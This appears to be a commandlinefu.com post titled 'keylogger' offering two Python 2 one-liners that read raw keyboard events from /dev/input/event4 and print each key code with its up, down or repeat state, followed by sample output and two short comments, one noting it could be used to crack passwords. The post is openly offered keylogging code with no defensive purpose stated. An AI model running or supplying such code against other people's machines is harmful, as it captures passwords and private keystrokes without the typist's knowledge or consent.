keylogger

python -c "DEV = '/dev/input/event4' fo = open(DEV) def inn(k,s): if s == 0: print '%i up'%k if s == 1: print '%i down'%k while 1: l = fo.read(16) if ord(l[10]) != 0: k,s = l[10],l[12] inn(ord(k),ord(s)) "
python -c "DEV = '/dev/input/event4' #if event0 doesn't work, try event1 event2 etc fo = open(DEV) def interpret(keycode,state): if state == 0: print '%i up'%keycode if state == 1: print '%i down'%keycode if state == 2: print '%i repeat'%keycode while 1: line = fo.read(16) if ord(line[10]) != 0: keycode,state = line[10],line[12] interpret(ord(keycode),ord(state)) "
Sample Output
28 up
29 down
29 repeat
29 repeat
29 repeat
29 repeat
29 repeat
29 repeat
29 repeat
29 repeat
29 repeat
29 up
56 down
56 up
56 down
56 repeat
56 repeat
56 repeat
56 repeat
56 repeat
56 up

2
By: totti
2012-02-08 12:11:23

What Others Think

This could potentially be used to crack a password.
DevEd · 392 weeks and 3 days ago
Why why why ??? Name keylogger explain itself.
totti · 391 weeks ago

What do you think?

Any thoughts on this command? Does it work on your machine? Can you do the same thing with only 14 characters?

You must be signed in to comment.

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Similar Commands

One line keylogger


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: